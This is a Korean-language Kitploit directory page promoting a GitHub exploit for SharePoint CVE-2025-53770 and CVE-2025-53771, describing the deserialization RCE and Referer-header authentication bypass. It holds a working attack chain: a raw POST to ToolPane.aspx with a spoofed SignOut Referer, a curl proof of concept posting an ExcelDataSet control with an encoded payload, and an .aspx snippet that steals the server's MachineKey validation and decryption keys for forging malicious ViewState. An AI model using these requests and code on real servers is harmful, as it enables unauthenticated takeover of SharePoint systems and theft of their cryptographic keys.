Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-53770 — CVE-2025-53770 - SharePoint | Kitploit
도구/GitHubGitHub/ghostn4444/cve-2025-53770
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubghostn4444/cve-2025-53770

CVE-2025-53770

CVE-2025-53770 - SharePoint

저장소 보기
41년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-53770 SharePoint

설명

신뢰할 수 없는 데이터의 역직렬화로 인해 온프레미스 Microsoft SharePoint Server에서 공격자가 원격으로 코드를 실행하고 시스템을 손상시킬 수 있습니다. Microsoft는 활발한 공격을 인지하고 있으며 포괄적인 업데이트를 준비 중입니다. CVE 문서의 완화 조치가 적용되어 있는지 확인하십시오.

  • 영향: 인증되지 않은 공격자가 원격 코드 실행을 수행하여 시스템 전체를 손상시킬 수 있습니다.
  • 심각도: 치명적

Microsoft SharePoint 온프레미스

CVE-2025-53770 (CVSS 9.8):

이는 중요한 원격 코드 실행(RCE)입니다. 신뢰할 수 없는 데이터의 안전하지 않은 역직렬화를 악용하여 공격자가 인증 없이 임의 코드를 실행할 수 있습니다.

CVE-2025-53771 (CVSS ~6.3):

HTTP 헤더(특히 Referer 필드) 조작을 통한 인증 우회(스푸핑) 취약점으로, 접근 제어를 우회하고 CVE-53770과 결합하여 RCE로 이어질 수 있습니다.

둘 다 이전 패치인 **(CVE-2025-49704 및 CVE-2025-49706)**를 대체하며, 해당 패치는 7월에 적용되었으나 불완전하여 새로운 공격 벡터를 가능하게 했습니다.

온프레미스 SharePoint에만 해당, 다음 버전:

  • Subscription Edition (KB5002768 이전)
  • SharePoint Server 2019 (KB5002754 이전)
  • SharePoint Server 2016 (KB5002760 이전)

SharePoint Online(Microsoft 365)은 영향을 받지 않습니다.

1 - (인증 우회): /layouts/15/ToolPane.aspx

1단계 – 취약한 URL에 POST 요청을 보냅니다. 2단계 – MachineKey를 읽는 코드가 포함된 .aspx 파일을 업로드합니다(스니펫과 동일). 3단계 – 해당 키로 구성된 ysoserial.net과 같은 도구를 사용하여 악성 ViewState를 생성합니다.

1단계

root@kitploit:~
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1
Host: sharepoint.lab.local
Referer: /_layouts/SignOut.aspx
Content-Length: 0

2단계

개념 증명

다음 PoC는 공격자가 취약한 엔드포인트를 통해 악성 페이로드를 추출하고 디코딩하기 위해 이 취약점을 어떻게 악용할 수 있는지 보여줍니다.

대상 도메인은 의도적으로 target.com으로 대체되었습니다.

PoC 명령 1

root@kitploit:~
curl -sk -X POST 'https://target.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' \
  -H 'Referer: /_layouts/SignOut.aspx' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'MSOTlPn_Uri=https://target.com' \
  --data-urlencode 'MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
  <ProgressTemplate>
    <div class="divWaiting">
      <Scorecard:ExcelDataSet CompressedDataTable="H4sIAADEfmgA/4WRX2uzMBTG7/0Ukvs06ihjQb3ZbgobG1TYeO9OY6yBJpGTdHbfvudVu44x6FUkPn9+PEnK1nTdHuV8gE1P9uCCtKGFCBU7opNB9dpC4NYo9MF3kStvJen4rGKLZ4645bkU8c+c1Umalp33/0/62gGmC45pK9bA7qBZOpdI9OMrtpryM3ZR9RAee3B7HSpmXNAYdTuFTnGDVwvZKZiK9TEOUohxHFfj3crjXhRZlouPl+ftBMspIYJTVHlxEcQt13cdFTY6xHeEYdB4vaX7jet8vXERj8S/VeCcxicdtYrGuzf4OnhoSzGpftoaYykQ7FAXWbHm2T0v8qYoZP4g1+t/pbj+vyKIPxhKQUssEwvaeFpdTLOX4tfz18kZONVdDRICAAA=" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
    </div>
  </ProgressTemplate>
</asp:UpdateProgress>' \
| grep -oP 'CompressedDataTable=&quot;\K[^&]+(?=&quot;)' \
| base64 -d 2>/dev/null \
| gzip -d 2>/dev/null \
| tee /tmp/sharepoint_decoded_payload.txt \
| grep -Ei 'IntruderScannerDetectionPayload|ExcelDataSet|divWaiting|ProgressTemplate|Scorecard'

분석에 사용된 실제 명령

root@kitploit:~
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="C#" CODEPAGE="65001">
    public void Page_load()
    {
        var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
        var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
        var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
        var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);

        Response.Write(cg.ValidationKey + "|" + cg.Validation + "|" + cg.DecryptionKey + "|" + cg.Decryption + "|" + cg.CompatibilityMode);
    }
</script>
도구 다운로드